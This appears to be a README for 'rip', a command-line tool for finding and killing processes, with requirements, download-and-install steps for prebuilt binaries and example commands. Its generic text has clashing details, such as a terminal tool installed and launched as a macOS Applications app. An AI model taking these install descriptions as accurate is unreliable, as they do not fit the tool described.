# π rip - Find and Kill Processes Easily
## π₯ Download Now
[](https://github.com/Isaacdg7/rip/releases)
## π About rip
Rip helps you quickly find and kill processes from your terminal. It makes managing running applications simpler and faster, even for those without technical backgrounds.
## π Getting Started
Using rip is straightforward. Follow the steps below to download, install, and start using the tool.
### π οΈ System Requirements
- Operating System: Windows 10 or later, macOS Sierra or later, or a recent version of Linux (Ubuntu 18.04+, Fedora 30+).
- RAM: At least 2 GB.
- Disk Space: 50 MB of free space.
### π Features
- Quickly search for processes.
- Simple command-line interface.
- Lightweight and fast operation.
- Compatible with various operating systems.
## π» Download & Install
To start using rip, you need to download it from the Releases page.
1. **Visit the Releases Page**: Go to [this link](https://github.com/Isaacdg7/rip/releases) to find the latest version of rip.
2. **Choose Your Operating System**: Locate the version that matches your operating system (Windows, macOS, or Linux).
3. **Download the File**: Click on the appropriate download link to save the file to your computer.
### ποΈ Installation Instructions
- **Windows**:
1. Locate the downloaded `.exe` file.
2. Double-click the file to start the installation.
3. Follow the prompts to complete the installation.
- **macOS**:
1. Locate the downloaded `.dmg` file.
2. Open the file and drag the rip application into your Applications folder.
3. Launch rip from your Applications.
- **Linux**:
1. Locate the downloaded executable file.
2. Open a terminal window.
3. Navigate to the directory where the file is located using the `cd` command.
4. Make the file executable with the command: `chmod +x rip`.
5. Run rip by typing `./rip` in the terminal.
## π₯οΈ How to Use rip
Using rip is simple. Hereβs how to find and kill a process:
1. **Open your terminal or command prompt.**
2. **Type `rip`** followed by the name or part of the name of the process you want to find. For example, `rip chrome` will show all running Chrome processes.
3. **Identify the Process ID (PID)**: The output will display the list of processes matching your search with their corresponding PIDs.
4. **Kill the Process**: If you want to terminate a process, type `rip kill [PID]`, replacing `[PID]` with the actual number.
## π Example Commands
- To find a process:
`rip firefox`
- To kill a specific process from the list:
`rip kill 1234`
### π€ Additional Options
Rip includes several options for more advanced users:
- **Filter**: Use `rip filter [criteria]` to narrow down your search results.
- **List All Processes**: Simply type `rip list` to see a complete list of all active processes.
## π‘ Tips & Troubleshooting
- Ensure that you run your terminal or command prompt with appropriate permissions, especially on Windows. You might need to run it as an administrator to kill certain processes.
- If you encounter issues, verify your system meets the requirements. Ensure you're using the correct version for your operating system.
## π Community & Support
If you have questions or need help, please check the [GitHub Issues page](https://github.com/Isaacdg7/rip/issues). You can find answers to common questions or report any issues you encounter.
## π£ Stay Updated
For updates and news, keep an eye on the Releases page: [Download rip](https://github.com/Isaacdg7/rip/releases). This link will always show you the latest version.
## π Conclusion
Rip provides a user-friendly way to manage running processes directly from your terminal. Download it today and simplify your workflow.